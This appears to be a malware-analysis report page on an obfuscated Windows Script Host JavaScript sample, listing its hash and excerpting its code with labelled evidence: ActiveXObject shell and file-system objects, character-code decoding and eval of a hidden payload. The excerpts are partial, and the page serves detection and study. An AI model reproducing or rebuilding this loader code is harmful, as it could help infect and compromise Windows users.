Suspicious ^80% javascript-malware-collection Download

4b29d4462ff5d00a65112374ab86d2951226443ff9d7dfa75ca6d7fd8dddceda.js

obfuscated WSH malware

ActiveXObject instantiates WScript.ShellWSH instantiates FileSystemObject

SHA-2564b29d4462ff5d00a65112374ab86d2951226443ff9d7dfa75ca6d7fd8dddceda

Evidence

Builds characters with String.fromCharCode lines 1–16

1var ACkSMjarLFIvcuPtNOn = new ActiveXObject("scRiPtinG.fIlesYsTeMObjeCt");
2var dFipgNYIkrOGlSJc = new ActiveXObject("shELL.APplicaTiON");
3var koRdpUrxSTBLcws = new ActiveXObject("wScript.sheLl");
4if (ACkSMjarLFIvcuPtNOn.FolderExists("C"+":\\W"+"iNdO"+"Ws") == true) {
5var cHqeNSVCFbApkjRDtB = 43898602/43898602; var lUtkXbdqYJveuai = "";
6function RLlNKhCOYVrUDkBA(LlQfnKbNXDxqFoeSwdG, mkQsPIxpgNbludT) { 
7return LlQfnKbNXDxqFoeSwdG.split(mkQsPIxpgNbludT).join(""); }
8function pAIrjiuyQDkPdavh(fldtmvNrayqTuxIkKgo) { return String.fromCharCode(fldtmvNrayqTuxIkKgo); }
9var miYIFrsOALVwNxR = 
10"ABCHABCKABCLM\\sABCofABCT"+
⋯6 lines

Dense concatenated string fragments lines 24–40

24:6… 4,4,ujgnn,'4BGB,crr,"+
25"BnkB,e,B,c,vkq,p,'"+
26"B,44',4,;,'5BDB,',2F,'2C,xct',B,4"+
27"2JB,VBVR,'"+
28",B4B,2'5B,F'4,2B"+
29",pB,gy'4B2Cevk"+
30","+
31"xgZBQ,dBlge,vB',4B:'B4B4BO,UBZBONB',"+
32"54,'4"+
33"G,BZ,BONB,JVVR,'4"+
⋯7 lines

charCodeAt() method call lines 88–92

88:49… tZ(ZcHZqZeNSZVCZFZbAZpZkjRZDtBZ'+
89');';
90var MhLoOKGgUTqFrQc = eval(RLlNKhCOYVrUDkBA(bYrBxIidLKWkucwasp, "Z"));
91for (var WqvXJDphwaNMbtOIny = 0; WqvXJDphwaNMbtOIny < uerNLwIQPJROEWA.length; WqvXJDphwaNMbtOIny++) { cHqeNSVCFbApkjRDtB = uerNLwIQPJROEWA.charCodeAt(WqvXJDphwaNMbtOIny) - sKhazJmovxdlHnkMq*9224/267496;
92if ((cHqeNSVCFbApkjRDtB != sKhazJmovxdlHnkMq*54012/74588) && (cHqeNSVCFbAp …

JavaScript eval executes a variable argument lines 92–94

92:144… jiuyQDkPdavh (cHqeNSVCFbApkjRDtB); }}
93var kjaTGAcHmOBQsYvxld = eval(lUtkXbdqYJveuai);
94}